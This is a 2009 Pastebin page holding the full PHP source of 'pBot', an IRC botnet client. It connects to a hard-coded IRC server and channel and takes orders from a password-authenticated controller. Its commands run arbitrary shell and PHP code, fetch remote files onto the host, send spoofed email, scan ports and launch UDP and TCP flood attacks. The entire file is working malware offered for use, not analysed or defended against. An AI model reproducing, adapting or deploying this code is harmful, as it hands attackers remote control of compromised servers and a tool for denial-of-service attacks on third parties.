Share Pastebin
Guest
Public paste!

keniobats

By: a guest | Nov 2nd, 2009 | Syntax: PHP | Size: 15.72 KB | Hits: 205 | Expires: Never
Copy text to clipboard
  1. <?
  2.  
  3.  
  4.  
  5.  
  6.  
  7.  
  8.  
  9. class pBot
  10.  
  11. {
  12.  
  13. var $config = array("server"=>"master.indoirc.net",
  14.  
  15.                      "port"=>6667,
  16.  
  17.                      "pass"=>"", //
  18.  
  19.                      "prefix"=>"2K|",
  20.  
  21.                      "maxrand"=>7,
  22.  
  23.                      "chan"=>"#me",
  24.  
  25.                      "key"=>"142536", //
  26.  
  27.                      "modes"=>"-x+i",
  28.  
  29.                      "password"=>"al",  //
  30.  
  31.                      "trigger"=>"!say@",
  32.  
  33.                      "hostauth"=>"BruteForce.Al" // *
  34.  
  35.                      );
  36.  
  37.  var $users = array();
  38.  
  39.  function start()
  40.  
  41.  {
  42.  
  43.     if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
  44.  
  45.        $this->start();
  46.  
  47.     $ident = "";
  48.  
  49.     $alph = range("a","z");
  50.  
  51.     for($i=0;$i<$this->config['maxrand'];$i++)
  52.  
  53.        $ident .= $alph[rand(0,25)];
  54.  
  55.     if(strlen($this->config['pass'])>0)
  56.  
  57.        $this->send("PASS ".$this->config['pass']);
  58.  
  59.     $this->send("USER $ident 127.0.0.1 localhost :$ident");
  60.  
  61.     $this->set_nick();
  62.  
  63.     $this->main();
  64.  
  65.  }
  66.  
  67.  function main()
  68.  
  69.  {
  70.  
  71.     while(!feof($this->conn))
  72.  
  73.     {
  74.  
  75.        $this->buf = trim(fgets($this->conn,512));
  76.  
  77.        $cmd = explode(" ",$this->buf);
  78.  
  79.        if(substr($this->buf,0,6)=="PING :")
  80.  
  81.        {
  82.  
  83.           $this->send("PONG :".substr($this->buf,6));
  84.  
  85.        }
  86.  
  87.        if(isset($cmd[1]) && $cmd[1] =="001")
  88.  
  89.        {
  90.  
  91.           $this->send("MODE ".$this->nick." ".$this->config['modes']);
  92.  
  93.           $this->join($this->config['chan'],$this->config['key']);
  94.  
  95.        }
  96.  
  97.        if(isset($cmd[1]) && $cmd[1]=="433")
  98.  
  99.        {
  100.  
  101.           $this->set_nick();
  102.  
  103.        }
  104.  
  105.        if($this->buf != $old_buf)
  106.  
  107.        {
  108.  
  109.           $mcmd = array();
  110.  
  111.           $msg = substr(strstr($this->buf," :"),2);
  112.  
  113.           $msgcmd = explode(" ",$msg);
  114.  
  115.           $nick = explode("!",$cmd[0]);
  116.  
  117.           $vhost = explode("@",$nick[1]);
  118.  
  119.           $vhost = $vhost[1];
  120.  
  121.           $nick = substr($nick[0],1);
  122.  
  123.           $host = $cmd[0];
  124.  
  125.           if($msgcmd[0]==$this->nick)
  126.  
  127.           {
  128.  
  129.            for($i=0;$i<count($msgcmd);$i++)
  130.  
  131.               $mcmd[$i] = $msgcmd[$i+1];
  132.  
  133.           }
  134.  
  135.           else
  136.  
  137.           {
  138.  
  139.            for($i=0;$i<count($msgcmd);$i++)
  140.  
  141.               $mcmd[$i] = $msgcmd[$i];
  142.  
  143.           }
  144.  
  145.           if(count($cmd)>2)
  146.  
  147.           {
  148.  
  149.              switch($cmd[1])
  150.  
  151.              {
  152.  
  153.                 case "QUIT":
  154.  
  155.                    if($this->is_logged_in($host))
  156.  
  157.                    {
  158.  
  159.                       $this->log_out($host);
  160.  
  161.                    }
  162.  
  163.                 break;
  164.  
  165.                 case "PART":
  166.  
  167.                    if($this->is_logged_in($host))
  168.  
  169.                    {
  170.  
  171.                       $this->log_out($host);
  172.  
  173.                    }
  174.  
  175.                 break;
  176.  
  177.                 case "PRIVMSG":
  178.  
  179.                    if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
  180.  
  181.                    {
  182.  
  183.                       if(substr($mcmd[0],0,1)==".")
  184.  
  185.                       {
  186.  
  187.                          switch(substr($mcmd[0],1))
  188.  
  189.                          {
  190.  
  191.                             case "user":
  192.  
  193.                               if($mcmd[1]==$this->config['password'])
  194.  
  195.                               {
  196.  
  197.                                  $this->privmsg($this->config['chan'],"[\2Alb\2]: Password accepted.");
  198.  
  199.                                  $this->log_in($host);
  200.  
  201.                               }
  202.  
  203.                               else
  204.  
  205.                               {
  206.  
  207.                                  $this->privmsg($this->config['chan'],"[\2Alb\2]: Password incorect.");
  208.  
  209.                               }
  210.  
  211.                             break;
  212.  
  213.                          }
  214.  
  215.                       }
  216.  
  217.                    }
  218.  
  219.                    elseif($this->is_logged_in($host))
  220.  
  221.                    {
  222.  
  223.                       if(substr($mcmd[0],0,1)==".")
  224.  
  225.                       {
  226.  
  227.                          switch(substr($mcmd[0],1))
  228.  
  229.                          {
  230.  
  231.                             case "restart":
  232.  
  233.                                $this->send("QUIT :restart");
  234.  
  235.                                fclose($this->conn);
  236.  
  237.                                $this->start();
  238.  
  239.                             break;
  240.  
  241.                             case "mail": //mail to from subject message
  242.  
  243.                                if(count($mcmd)>4)
  244.  
  245.                                {
  246.  
  247.                                   $header = "From: <".$mcmd[2].">";
  248.  
  249.                                   if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
  250.  
  251.                                   {
  252.  
  253.                                      $this->privmsg($this->config['chan'],"[\2MAIL\2]: Was Unable to send");
  254.  
  255.                                   }
  256.  
  257.                                   else
  258.  
  259.                                   {
  260.  
  261.                                      $this->privmsg($this->config['chan'],"[\2MAIL\2]: Message have been sent to \2".$mcmd[1]."\2");
  262.  
  263.                                   }
  264.  
  265.                                }
  266.  
  267.                             break;
  268.  
  269.                             case "dns":
  270.  
  271.                                if(isset($mcmd[1]))
  272.  
  273.                                {
  274.  
  275.                                   $ip = explode(".",$mcmd[1]);
  276.  
  277.                                   if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
  278.  
  279.                                   {
  280.  
  281.                                      $this->privmsg($this->config['chan'],"[\2DNS\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
  282.  
  283.                                   }
  284.  
  285.                                   else
  286.  
  287.                                   {
  288.  
  289.                                      $this->privmsg($this->config['chan'],"[\2DNS\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
  290.  
  291.                                   }
  292.  
  293.                                }
  294.  
  295.                             break;
  296.  
  297.                             case "info":
  298.  
  299.                                $this->privmsg($this->config['chan'],"[\2INFO\2]: [\2httpd\2: ".$_SERVER['SERVER_SOFTWARE']."] [\2docroot\2: ".$_SERVER['DOCUMENT_ROOT']."] [\2domain\2: ".$_SERVER['SERVER_NAME']."] [\2admin\2: ".$_SERVER['SERVER_ADMIN']."] [\2url\2:".$_SERVER['REQUEST_URI']."]");
  300.  
  301.                             break;
  302.  
  303.                             case "cmd":
  304.  
  305.                                if(isset($mcmd[1]))
  306.  
  307.                                {
  308.  
  309.                                   $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  310.  
  311.                                   $this->privmsg($this->config['chan'],"[\2cmd\2]: $command");
  312.  
  313.                                   $pipe = popen($command,"r");
  314.  
  315.                                   while(!feof($pipe))
  316.  
  317.                                   {
  318.  
  319.                                      $pbuf = trim(fgets($pipe,512));
  320.  
  321.                                      if($pbuf != NULL)
  322.  
  323.                                         $this->privmsg($this->config['chan'],"     : $pbuf");
  324.  
  325.                                   }
  326.  
  327.                                   pclose($pipe);
  328.  
  329.                                }
  330.  
  331.                             break;
  332.  
  333.                             case "rndnick":
  334.  
  335.                                $this->set_nick();
  336.  
  337.                             break;
  338.  
  339.                             case "raw":
  340.  
  341.                                $this->send(strstr($msg,$mcmd[1]));
  342.  
  343.                             break;
  344.  
  345.                             case "php":
  346.  
  347.                                $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
  348.  
  349.                             break;
  350.  
  351.                             case "exec":
  352.  
  353.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  354.  
  355.                                $exec = shell_exec($command);
  356.  
  357.                                $ret = explode("\n",$exec);
  358.  
  359.                                $this->privmsg($this->config['chan'],"[\2EXEC\2]: $command");
  360.  
  361.                                for($i=0;$i<count($ret);$i++)
  362.  
  363.                                   if($ret[$i]!=NULL)
  364.  
  365.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  366.  
  367.                             break;
  368.  
  369.                             case "pscan": // .pscan 127.0.0.1 6667
  370.  
  371.                                if(count($mcmd) > 2)
  372.  
  373.                                {
  374.  
  375.                                   if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
  376.  
  377.                                      $this->privmsg($this->config['chan'],"[\2pSCAN\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2");
  378.  
  379.                                   else
  380.  
  381.                                      $this->privmsg($this->config['chan'],"[\2pSCAN\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");
  382.  
  383.                                }
  384.  
  385.                             break;
  386.  
  387.                             case "ud.server": // .udserver <server> <port> [password]
  388.  
  389.                                if(count($mcmd)>2)
  390.  
  391.                                {
  392.  
  393.                                   $this->config['server'] = $mcmd[1];
  394.  
  395.                                   $this->config['port'] = $mcmd[2];
  396.  
  397.                                   if(isset($mcmcd[3]))
  398.  
  399.                                   {
  400.  
  401.                                    $this->config['pass'] = $mcmd[3];
  402.  
  403.                                    $this->privmsg($this->config['chan'],"[\2UPDATE\2]: Server was Changed to ".$mcmd[1].":".$mcmd[2]." Pass: ".$mcmd[3]);
  404.  
  405.                                   }
  406.  
  407.                                   else
  408.  
  409.                                   {
  410.  
  411.                                      $this->privmsg($this->config['chan'],"[\2UPDATE\2]: Server was Changed to ".$mcmd[1].":".$mcmd[2]);
  412.  
  413.                                   }
  414.  
  415.                                }
  416.  
  417.                             break;
  418.  
  419.                             case "download":
  420.  
  421.                                if(count($mcmd) > 2)
  422.  
  423.                                {
  424.  
  425.                                   if(!$fp = fopen($mcmd[2],"w"))
  426.  
  427.                                   {
  428.  
  429.                                      $this->privmsg($this->config['chan'],"[\2DOWNLOAD\2]: Can not download, permission denied.");
  430.  
  431.                                   }
  432.  
  433.                                   else
  434.  
  435.                                   {
  436.  
  437.                                      if(!$get = file($mcmd[1]))
  438.  
  439.                                      {
  440.  
  441.                                         $this->privmsg($this->config['chan'],"[\2DOWNLOAD\2]: Unable to download from \2".$mcmd[1]."\2");
  442.  
  443.                                      }
  444.  
  445.                                      else
  446.  
  447.                                      {
  448.  
  449.                                         for($i=0;$i<=count($get);$i++)
  450.  
  451.                                         {
  452.  
  453.                                            fwrite($fp,$get[$i]);
  454.  
  455.                                         }
  456.  
  457.                                         $this->privmsg($this->config['chan'],"[\2DOWNLOAD\2]: File \2".$mcmd[1]."\2 was downloaded to \2".$mcmd[2]."\2");
  458.  
  459.                                      }
  460.  
  461.                                      fclose($fp);
  462.  
  463.                                   }
  464.  
  465.                                }
  466.  
  467.                             break;
  468.  
  469.                             case "die":
  470.  
  471.                                $this->send("QUIT :die command from $nick");
  472.  
  473.                                fclose($this->conn);
  474.  
  475.                                exit;
  476.  
  477.                             case "logout":
  478.  
  479.                                $this->log_out($host);
  480.  
  481.                                $this->privmsg($this->config['chan'],"[\2Alb\2]: $nick Password have been logged out");
  482.  
  483.                             break;
  484.  
  485.                             case "udpflood":
  486.  
  487.                                if(count($mcmd)>4)
  488.  
  489.                                {
  490.  
  491.                                   $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]);
  492.  
  493.                                }
  494.  
  495.                             break;
  496.  
  497.                             case "tcpflood":
  498.  
  499.                                if(count($mcmd)>5)
  500.  
  501.                                {
  502.  
  503.                                   $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
  504.  
  505.                                }
  506.  
  507.                             break;
  508.  
  509.                          }
  510.  
  511.                       }
  512.  
  513.                    }
  514.  
  515.                 break;
  516.  
  517.              }
  518.  
  519.           }
  520.  
  521.        }
  522.  
  523.        $old_buf = $this->buf;
  524.  
  525.     }
  526.  
  527.     $this->start();
  528.  
  529.  }
  530.  
  531.  function send($msg)
  532.  
  533.  {
  534.  
  535.     fwrite($this->conn,"$msg\r\n");
  536.  
  537.  
  538.  
  539.  }
  540.  
  541.  function join($chan,$key=NULL)
  542.  
  543.  {
  544.  
  545.     $this->send("JOIN $chan $key");
  546.  
  547.  }
  548.  
  549.  function privmsg($to,$msg)
  550.  
  551.  {
  552.  
  553.     $this->send("PRIVMSG $to :$msg");
  554.  
  555.  }
  556.  
  557.  function is_logged_in($host)
  558.  
  559.  {
  560.  
  561.     if(isset($this->users[$host]))
  562.  
  563.        return 1;
  564.  
  565.     else
  566.  
  567.        return 0;
  568.  
  569.  }
  570.  
  571.  function log_in($host)
  572.  
  573.  {
  574.  
  575.     $this->users[$host] = true;
  576.  
  577.  }
  578.  
  579.  function log_out($host)
  580.  
  581.  {
  582.  
  583.     unset($this->users[$host]);
  584.  
  585.  }
  586.  
  587.  function set_nick()
  588.  
  589.  {
  590.  
  591.     if(isset($_SERVER['SERVER_SOFTWARE']))
  592.  
  593.     {
  594.  
  595.        if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
  596.  
  597.           $this->nick = "|LIN|00|";
  598.  
  599.        elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
  600.  
  601.           $this->nick = "|LIN|01|";
  602.  
  603.        elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
  604.  
  605.           $this->nick = "|UBU|02|";
  606.  
  607.        else
  608.  
  609.           $this->nick = "|SLC|03|";
  610.  
  611.     }
  612.  
  613.     else
  614.  
  615.     {
  616.  
  617.        $this->nick = "|04|8K|";
  618.  
  619.     }
  620.  
  621.     $this->nick .= $this->config['prefix'];
  622.  
  623.     for($i=0;$i<$this->config['maxrand'];$i++)
  624.  
  625.        $this->nick .= mt_rand(0,9);
  626.  
  627.     $this->send("NICK ".$this->nick);
  628.  
  629.  }
  630.  
  631.   function udpflood($host,$packetsize,$time) {
  632.  
  633.         $this->privmsg($this->config['chan'],"[\2UDP\2]: Attacking $host for $time seconds with $packetsize Kb packets");
  634.  
  635.         $packet = "";
  636.  
  637.         for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  638.  
  639.         $timei = time();
  640.  
  641.         $i = 0;
  642.  
  643.         while(time()-$timei < $time) {
  644.  
  645.                 $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
  646.  
  647.         fwrite($fp,$packet);
  648.  
  649.         fclose($fp);
  650.  
  651.                 $i++;
  652.  
  653.         }
  654.  
  655.         $env = $i * $packetsize;
  656.  
  657.         $env = $env / 1048576;
  658.  
  659.         $vel = $env / $time;
  660.  
  661.         $vel = round($vel);
  662.  
  663.         $env = round($env);
  664.  
  665.         $this->privmsg($this->config['chan'],"[\2UDP\2]: Finished attack: $env MB sented Attacked speed: $vel MB/s ");
  666.  
  667. }
  668.  
  669.  function tcpflood($host,$packets,$packetsize,$port,$delay)
  670.  
  671.  {
  672.  
  673.     $this->privmsg($this->config['chan'],"[\2TCP\2]: Sending $packets packets to $host:$port. Packet size: $packetsize");
  674.  
  675.     $packet = "";
  676.  
  677.     for($i=0;$i<$packetsize;$i++)
  678.  
  679.        $packet .= chr(mt_rand(1,256));
  680.  
  681.     for($i=0;$i<$packets;$i++)
  682.  
  683.     {
  684.  
  685.        if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
  686.  
  687.        {
  688.  
  689.           $this->privmsg($this->config['chan'],"[\2TCP\2]: Error: <$e>");
  690.  
  691.           return 0;
  692.  
  693.        }
  694.  
  695.        else
  696.  
  697.        {
  698.  
  699.           fwrite($fp,$packet);
  700.  
  701.           fclose($fp);
  702.  
  703.        }
  704.  
  705.        sleep($delay);
  706.  
  707.     }
  708.  
  709.     $this->privmsg($this->config['chan'],"[\2TCP\2]: Finished sending $packets packets to $host:$port.");
  710.  
  711.  }
  712.  
  713. }
  714.  
  715.  
  716.  
  717. $bot = new pBot;
  718.  
  719. $bot->start();
  720.  
  721.  
  722.  
  723. ?>